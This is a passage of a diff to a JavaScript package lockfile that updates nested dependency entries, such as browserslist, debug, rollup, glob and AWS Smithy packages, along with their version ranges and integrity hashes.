+ "postcss-preset-env/autoprefixer": ["autoprefixer@10.4.27", "", { "dependencies": { "browserslist": "^4.28.1", "caniuse-lite": "^1.0.30001774", "fraction.js": "^5.3.4", "picocolors": "^1.1.1", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.1.0" }, "bin": { "autoprefixer": "bin/autoprefixer" } }, "sha512-NP9APE+tO+LuJGn7/9+cohklunJsXWiaWEfV3si4Gi/XHDwVNgkwr1J3RQYFIvPy76GmJ9/bW8vyoU1LcxwKHA=="],
- "postcss-preset-env/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
+ "postcss-preset-env/browserslist": ["browserslist@4.28.1", "", { "dependencies": { "baseline-browser-mapping": "^2.9.0", "caniuse-lite": "^1.0.30001759", "electron-to-chromium": "^1.5.263", "node-releases": "^2.0.27", "update-browserslist-db": "^1.2.0" }, "bin": { "browserslist": "cli.js" } }, "sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA=="],
+
+ "postcss-pseudo-class-any-link/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
"postcss-reduce-initial/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
+ "postcss-selector-not/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
+
"pretty-format/@jest/schemas": ["@jest/schemas@29.6.3", "", { "dependencies": { "@sinclair/typebox": "^0.27.8" } }, "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA=="],
"pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="],
"prop-types/react-is": ["react-is@16.13.1", "", {}, "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ=="],
+ "protobufjs/@types/node": ["@types/node@20.19.37", "", { "dependencies": { "undici-types": "~6.21.0" } }, "sha512-8kzdPJ3FsNsVIurqBs7oodNnCEVbni9yUEkaHbgptDACOPW04jimGagZ51E6+lXUwJjgnBw+hyko/lkFWCldqw=="],
+
"public-encrypt/bn.js": ["bn.js@4.12.2", "", {}, "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw=="],
"rc-util/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="],
@@ -6133,6 +6393,8 @@
"remark-supersub/unist-util-visit": ["unist-util-visit@4.1.2", "", { "dependencies": { "@types/unist": "^2.0.0", "unist-util-is": "^5.0.0", "unist-util-visit-parents": "^5.1.1" } }, "sha512-MSd8OUGISqHdVvfY9TPhyK2VdUrPgxkUtWSuMHF6XAAFuL4LokseigBnZtPnJMu+FbynTkFNnFlyjxpVKujMRg=="],
+ "require-in-the-middle/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
"resolve-cwd/resolve-from": ["resolve-from@5.0.0", "", {}, "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw=="],
"restore-cursor/onetime": ["onetime@7.0.0", "", { "dependencies": { "mimic-function": "^5.0.0" } }, "sha512-VXJjc87FScF88uafS3JllDgvAm+c/Slfz06lorj2uAY34rlUu0Nt+v8wreiImcrgAjjIHp1rXpTDlLOGw29WwQ=="],
@@ -6147,7 +6409,9 @@
"rollup-pluginutils/estree-walker": ["estree-walker@0.6.1", "", {}, "sha512-SqmZANLWS0mnatqbSfRP5g8OXZC12Fgg1IwNtLsyHDzJizORW4khDfjPqJZsemPWBB2uqykUah5YpQ6epsqC/w=="],
- "schema-utils/ajv": ["ajv@8.17.1", "", { "dependencies": { "fast-deep-equal": "^3.1.3", "fast-uri": "^3.0.1", "json-schema-traverse": "^1.0.0", "require-from-string": "^2.0.2" } }, "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g=="],
+ "router/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
+ "send/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
"sharp/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
@@ -6173,6 +6437,8 @@
"sucrase/glob": ["glob@10.5.0", "", { "dependencies": { "foreground-child": "^3.1.0", "jackspeak": "^3.1.2", "minimatch": "^9.0.4", "minipass": "^7.1.2", "package-json-from-dist": "^1.0.0", "path-scurry": "^1.11.1" }, "bin": "dist/esm/bin.mjs" }, "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg=="],
+ "superagent/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
"superagent/mime": ["mime@2.6.0", "", { "bin": "cli.js" }, "sha512-USPkMeET31rOMiarsBNIHZKLGgvKc/LrjofAnBlOttf5ajRvqiRA8QsenbcooctK6d6Ts6aqZXBA+XbkKthiQg=="],
"superagent/qs": ["qs@6.13.0", "", { "dependencies": { "side-channel": "^1.0.6" } }, "sha512-+38qI9SOr8tfZ4QmJNplMUxqjbe7LKvvZgWdExBOmd+egZTtjLB67Gu0HRX3u/XOq7UU2Nx6nsjvS16Z9uwfpg=="],
@@ -6181,6 +6447,10 @@
"svgo/css-select": ["css-select@4.3.0", "", { "dependencies": { "boolbase": "^1.0.0", "css-what": "^6.0.1", "domhandler": "^4.3.1", "domutils": "^2.8.0", "nth-check": "^2.0.1" } }, "sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ=="],
+ "svgo/sax": ["sax@1.5.0", "", {}, "sha512-21IYA3Q5cQf089Z6tgaUTr7lDAyzoTPx5HRtbhsME8Udispad8dC/+sziTNugOEx54ilvatQ9YCzl4KQLPcRHA=="],
+
+ "swr/use-sync-external-store": ["use-sync-external-store@1.6.0", "", { "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-Pp6GSwGP/NrPIrxVFAIkOQeyw8lFenOHijQWkUTrDvrF4ALqylP2C/KCkeS9dpUM3KvYRQhna5vt7IL95+ZQ9w=="],
+
"tailwindcss/arg": ["arg@5.0.2", "", {}, "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg=="],
"tailwindcss/lilconfig": ["lilconfig@2.1.0", "", {}, "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ=="],
@@ -6193,17 +6463,9 @@
"terser/commander": ["commander@2.20.3", "", {}, "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ=="],
- "terser-webpack-plugin/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
-
- "terser-webpack-plugin/jest-worker": ["jest-worker@27.5.1", "", { "dependencies": { "@types/node": "*", "merge-stream": "^2.0.0", "supports-color": "^8.0.0" } }, "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg=="],
-
"test-exclude/glob": ["glob@7.2.3", "", { "dependencies": { "fs.realpath": "^1.0.0", "inflight": "^1.0.4", "inherits": "2", "minimatch": "^3.1.1", "once": "^1.3.0", "path-is-absolute": "^1.0.0" } }, "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q=="],
- "tinyglobby/fdir": ["fdir@6.4.4", "", { "peerDependencies": { "picomatch": "^3 || ^4" } }, "sha512-1NZP+GK4GfuAv3PqKvxQRDMjdSRZjnkq7KfhlNrCNNlZ0ygQFpebfrnfnq/W7fpUnAv9aGWmY1zKx7FYL3gwhg=="],
-
- "tinyglobby/picomatch": ["picomatch@4.0.2", "", {}, "sha512-M7BAV6Rlcy5u+m6oPhAPFgJTzAioX/6B0DxyvDlo9l8+T3nLKbrczg2WLUyzd45L8RqfUMyGPzekbMvX2Ldkwg=="],
-
- "ts-node/diff": ["diff@4.0.2", "", {}, "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A=="],
+ "test-exclude/minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="],
"tsconfig-paths/json5": ["json5@1.0.2", "", { "dependencies": { "minimist": "^1.2.0" }, "bin": "lib/cli.js" }, "sha512-g1MWMLBiz8FKi1e4w0UyVL3w+iJceWAFBAaBnnGKOpNa5f8TLktkbre1+s6oICydWAm+HRUGTmI+//xv2hvXYA=="],
@@ -6225,19 +6487,19 @@
"vasync/verror": ["verror@1.10.0", "", { "dependencies": { "assert-plus": "^1.0.0", "core-util-is": "1.0.2", "extsprintf": "^1.2.0" } }, "sha512-ZZKSmDAEFOijERBLkmYfJ+vmk3w+7hOLYDNkRCuRuMJGEmqYNCNLyBBFwWKVMhfwaEF3WOd0Zlw86U/WC/+nYw=="],
+ "verror/core-util-is": ["core-util-is@1.0.2", "", {}, "sha512-3lqz5YjWTYnW6dlDa5TLaTCcShfar1e40rmcJVwCBJC6mWlFuj0eCHIElmG1g5kyuJ/GD+8Wn4FFCcz4gJPfaQ=="],
+
"vfile-location/@types/unist": ["@types/unist@2.0.10", "", {}, "sha512-IfYcSBWE3hLpBg8+X2SEa8LVkJdJEkT2Ese2aaLs3ptGdVtABxndrMaxuFlQ1qdFf9Q5rDvDpxI3WwgvKFAsQA=="],
"vfile-location/vfile": ["vfile@5.3.7", "", { "dependencies": { "@types/unist": "^2.0.0", "is-buffer": "^2.0.0", "unist-util-stringify-position": "^3.0.0", "vfile-message": "^3.0.0" } }, "sha512-r7qlzkgErKjobAmyNIkkSpizsFPYiUPuJb5pNW1RB4JcYVZhs4lIbVqk8XPk033CV/1z8ss5pkax8SuhGpcG8g=="],
- "webpack/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
+ "vite/postcss": ["postcss@8.5.8", "", { "dependencies": { "nanoid": "^3.3.11", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-OW/rX8O/jXnm82Ey1k44pObPtdblfiuWnrd8X7GJ7emImCOstunGbXUpp7HdBrFQX6rJzn3sPT397Wp5aCwCHg=="],
- "webpack/eslint-scope": ["eslint-scope@5.1.1", "", { "dependencies": { "esrecurse": "^4.3.0", "estraverse": "^4.1.1" } }, "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw=="],
-
- "webpack/mime-types": ["mime-types@2.1.35", "", { "dependencies": { "mime-db": "1.52.0" } }, "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw=="],
+ "vite/rollup": ["rollup@4.59.0", "", { "dependencies": { "@types/estree": "1.0.8" }, "optionalDependencies": { "@rollup/rollup-android-arm-eabi": "4.59.0", "@rollup/rollup-android-arm64": "4.59.0", "@rollup/rollup-darwin-arm64": "4.59.0", "@rollup/rollup-darwin-x64": "4.59.0", "@rollup/rollup-freebsd-arm64": "4.59.0", "@rollup/rollup-freebsd-x64": "4.59.0", "@rollup/rollup-linux-arm-gnueabihf": "4.59.0", "@rollup/rollup-linux-arm-musleabihf": "4.59.0", "@rollup/rollup-linux-arm64-gnu": "4.59.0", "@rollup/rollup-linux-arm64-musl": "4.59.0", "@rollup/rollup-linux-loong64-gnu": "4.59.0", "@rollup/rollup-linux-loong64-musl": "4.59.0", "@rollup/rollup-linux-ppc64-gnu": "4.59.0", "@rollup/rollup-linux-ppc64-musl": "4.59.0", "@rollup/rollup-linux-riscv64-gnu": "4.59.0", "@rollup/rollup-linux-riscv64-musl": "4.59.0", "@rollup/rollup-linux-s390x-gnu": "4.59.0", "@rollup/rollup-linux-x64-gnu": "4.59.0", "@rollup/rollup-linux-x64-musl": "4.59.0", "@rollup/rollup-openbsd-x64": "4.59.0", "@rollup/rollup-openharmony-arm64": "4.59.0", "@rollup/rollup-win32-arm64-msvc": "4.59.0", "@rollup/rollup-win32-ia32-msvc": "4.59.0", "@rollup/rollup-win32-x64-gnu": "4.59.0", "@rollup/rollup-win32-x64-msvc": "4.59.0", "fsevents": "~2.3.2" }, "bin": { "rollup": "dist/bin/rollup" } }, "sha512-2oMpl67a3zCH9H79LeMcbDhXW/UmWG/y2zuqnF2jQq5uq9TbM9TVyXvA4+t+ne2IIkBdrLpAaRQAvo7YI/Yyeg=="],
"winston-daily-rotate-file/winston-transport": ["winston-transport@4.7.0", "", { "dependencies": { "logform": "^2.3.2", "readable-stream": "^3.6.0", "triple-beam": "^1.3.0" } }, "sha512-ajBj65K5I7denzer2IYW6+2bNIVqLGDHqDw3Ow8Ohh+vdW+rv4MZ6eiDvHoKhfJFZ2auyN8byXieDDJ96ViONg=="],
- "workbox-build/@babel/preset-env": ["@babel/preset-env@7.23.9", "", { "dependencies": { "@babel/compat-data": "^7.23.5", "@babel/helper-compilation-targets": "^7.23.6", "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-validator-option": "^7.23.5", "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.23.3", "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.23.3", "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": "^7.23.7", "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2", "@babel/plugin-syntax-async-generators": "^7.8.4", "@babel/plugin-syntax-class-properties": "^7.12.13", "@babel/plugin-syntax-class-static-block": "^7.14.5", "@babel/plugin-syntax-dynamic-import": "^7.8.3", "@babel/plugin-syntax-export-namespace-from": "^7.8.3", "@babel/plugin-syntax-import-assertions": "^7.23.3", "@babel/plugin-syntax-import-attributes": "^7.23.3", "@babel/plugin-syntax-import-meta": "^7.10.4", "@babel/plugin-syntax-json-strings": "^7.8.3", "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4", "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3", "@babel/plugin-syntax-numeric-separator": "^7.10.4", "@babel/plugin-syntax-object-rest-spread": "^7.8.3", "@babel/plugin-syntax-optional-catch-binding": "^7.8.3", "@babel/plugin-syntax-optional-chaining": "^7.8.3", "@babel/plugin-syntax-private-property-in-object": "^7.14.5", "@babel/plugin-syntax-top-level-await": "^7.14.5", "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6", "@babel/plugin-transform-arrow-functions": "^7.23.3", "@babel/plugin-transform-async-generator-functions": "^7.23.9", "@babel/plugin-transform-async-to-generator": "^7.23.3", "@babel/plugin-transform-block-scoped-functions": "^7.23.3", "@babel/plugin-transform-block-scoping": "^7.23.4", "@babel/plugin-transform-class-properties": "^7.23.3", "@babel/plugin-transform-class-static-block": "^7.23.4", "@babel/plugin-transform-classes": "^7.23.8", "@babel/plugin-transform-computed-properties": "^7.23.3", "@babel/plugin-transform-destructuring": "^7.23.3", "@babel/plugin-transform-dotall-regex": "^7.23.3", "@babel/plugin-transform-duplicate-keys": "^7.23.3", "@babel/plugin-transform-dynamic-import": "^7.23.4", "@babel/plugin-transform-exponentiation-operator": "^7.23.3", "@babel/plugin-transform-export-namespace-from": "^7.23.4", "@babel/plugin-transform-for-of": "^7.23.6", "@babel/plugin-transform-function-name": "^7.23.3", "@babel/plugin-transform-json-strings": "^7.23.4", "@babel/plugin-transform-literals": "^7.23.3", "@babel/plugin-transform-logical-assignment-operators": "^7.23.4", "@babel/plugin-transform-member-expression-literals": "^7.23.3", "@babel/plugin-transform-modules-amd": "^7.23.3", "@babel/plugin-transform-modules-commonjs": "^7.23.3", "@babel/plugin-transform-modules-systemjs": "^7.23.9", "@babel/plugin-transform-modules-umd": "^7.23.3", "@babel/plugin-transform-named-capturing-groups-regex": "^7.22.5", "@babel/plugin-transform-new-target": "^7.23.3", "@babel/plugin-transform-nullish-coalescing-operator": "^7.23.4", "@babel/plugin-transform-numeric-separator": "^7.23.4", "@babel/plugin-transform-object-rest-spread": "^7.23.4", "@babel/plugin-transform-object-super": "^7.23.3", "@babel/plugin-transform-optional-catch-binding": "^7.23.4", "@babel/plugin-transform-optional-chaining": "^7.23.4", "@babel/plugin-transform-parameters": "^7.23.3", "@babel/plugin-transform-private-methods": "^7.23.3", "@babel/plugin-transform-private-property-in-object": "^7.23.4", "@babel/plugin-transform-property-literals": "^7.23.3", "@babel/plugin-transform-regenerator": "^7.23.3", "@babel/plugin-transform-reserved-words": "^7.23.3", "@babel/plugin-transform-shorthand-properties": "^7.23.3", "@babel/plugin-transform-spread": "^7.23.3", "@babel/plugin-transform-sticky-regex": "^7.23.3", "@babel/plugin-transform-template-literals": "^7.23.3", "@babel/plugin-transform-typeof-symbol": "^7.23.3", "@babel/plugin-transform-unicode-escapes": "^7.23.3", "@babel/plugin-transform-unicode-property-regex": "^7.23.3", "@babel/plugin-transform-unicode-regex": "^7.23.3", "@babel/plugin-transform-unicode-sets-regex": "^7.23.3", "@babel/preset-modules": "0.1.6-no-external-plugins", "babel-plugin-polyfill-corejs2": "^0.4.8", "babel-plugin-polyfill-corejs3": "^0.9.0", "babel-plugin-polyfill-regenerator": "^0.5.5", "core-js-compat": "^3.31.0", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-3kBGTNBBk9DQiPoXYS0g0BYlwTQYUTifqgKTjxUwEUkduRT2QOa0FPGBJ+NROQhGyYO5BuTJwGvBnqKDykac6A=="],
+ "workbox-build/@babel/core": ["@babel/core@7.29.0", "", { "dependencies": { "@babel/code-frame": "^7.29.0", "@babel/generator": "^7.29.0", "@babel/helper-compilation-targets": "^7.28.6", "@babel/helper-module-transforms": "^7.28.6", "@babel/helpers": "^7.28.6", "@babel/parser": "^7.29.0", "@babel/template": "^7.28.6", "@babel/traverse": "^7.29.0", "@babel/types": "^7.29.0", "@jridgewell/remapping": "^2.3.5", "convert-source-map": "^2.0.0", "debug": "^4.1.0", "gensync": "^1.0.0-beta.2", "json5": "^2.2.3", "semver": "^6.3.1" } }, "sha512-CGOfOJqWjg2qW/Mb6zNsDm+u5vFQ8DxXfbM09z69p5Z6+mE1ikP2jUXw+j42Pf1XTYED2Rni5f95npYeuwMDQA=="],
"workbox-build/@rollup/plugin-replace": ["@rollup/plugin-replace@2.4.2", "", { "dependencies": { "@rollup/pluginutils": "^3.1.0", "magic-string": "^0.25.7" }, "peerDependencies": { "rollup": "^1.20.0 || ^2.0.0" } }, "sha512-IGcu+cydlUMZ5En85jxHH4qj2hta/11BHq95iHEyb2sbgiN0eCdzvUcHw5gt9pBL5lTi4JDYJ1acCoMGpTvEZg=="],
@@ -6245,7 +6507,7 @@
"workbox-build/fs-extra": ["fs-extra@9.1.0", "", { "dependencies": { "at-least-node": "^1.0.0", "graceful-fs": "^4.2.0", "jsonfile": "^6.0.1", "universalify": "^2.0.0" } }, "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ=="],
- "workbox-build/glob": ["glob@7.2.3", "", { "dependencies": { "fs.realpath": "^1.0.0", "inflight": "^1.0.4", "inherits": "2", "minimatch": "^3.1.1", "once": "^1.3.0", "path-is-absolute": "^1.0.0" } }, "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q=="],
+ "workbox-build/glob": ["glob@11.1.0", "", { "dependencies": { "foreground-child": "^3.3.1", "jackspeak": "^4.1.1", "minimatch": "^10.1.1", "minipass": "^7.1.2", "package-json-from-dist": "^1.0.0", "path-scurry": "^2.0.0" }, "bin": { "glob": "dist/esm/bin.mjs" } }, "sha512-vuNwKSaKiqm7g0THUBu2x7ckSs3XJLXE+2ssL7/MfTGPLLcrJQ/4Uq1CjPTtO5cCIiRxqvN6Twy1qOwhL0Xjcw=="],
"workbox-build/pretty-bytes": ["pretty-bytes@5.6.0", "", {}, "sha512-FFw039TmrBqFK8ma/7OL3sDz/VytdtJr044/QUJtH0wK9lb9jLq9tJyIxUwtQJHwar2BqtiA4iCWSwo9JLkzFg=="],
@@ -6293,6 +6555,8 @@
"@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/core/@smithy/property-provider": ["@smithy/property-provider@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-g2DHo08IhxV5GdY3Cpt/jr0mkTlAD39EJKN27Jb5N8Fb5qt8KG39wVKTXiTRCmHHou7lbXR8nKVU14/aRUf86w=="],
+ "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
+
"@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env": ["@aws-sdk/credential-provider-env@3.927.0", "", { "dependencies": { "@aws-sdk/core": "3.927.0", "@aws-sdk/types": "3.922.0", "@smithy/property-provider": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-bAllBpmaWINpf0brXQWh/hjkBctapknZPYb3FJRlBHytEGHi7TpgqBXi8riT0tc6RVWChhnw58rQz22acOmBuw=="],
"@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http": ["@aws-sdk/credential-provider-http@3.927.0", "", { "dependencies": { "@aws-sdk/core": "3.927.0", "@aws-sdk/types": "3.922.0", "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/property-provider": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-jEvb8C7tuRBFhe8vZY9vm9z6UQnbP85IMEt3Qiz0dxAd341Hgu0lOzMv5mSKQ5yBnTLq+t3FPKgD9tIiHLqxSQ=="],
@@ -6317,6 +6581,12 @@
"@aws-sdk/client-bedrock-agent-runtime/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
+ "@aws-sdk/client-bedrock-agent-runtime/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
+ "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.4", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-GNI/IXaY/XBB1SkGBFmbW033uWA0tj085eCxYih0eccUe/PFR7+UBQv9HNDk2fD9TJu7UVsCWsH99TkpEPSOzQ=="],
+
+ "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-node/@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.4", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-GNI/IXaY/XBB1SkGBFmbW033uWA0tj085eCxYih0eccUe/PFR7+UBQv9HNDk2fD9TJu7UVsCWsH99TkpEPSOzQ=="],
+
"@aws-sdk/client-bedrock-agent-runtime/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
"@aws-sdk/client-bedrock-agent-runtime/@smithy/hash-node/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
@@ -6325,6 +6595,8 @@
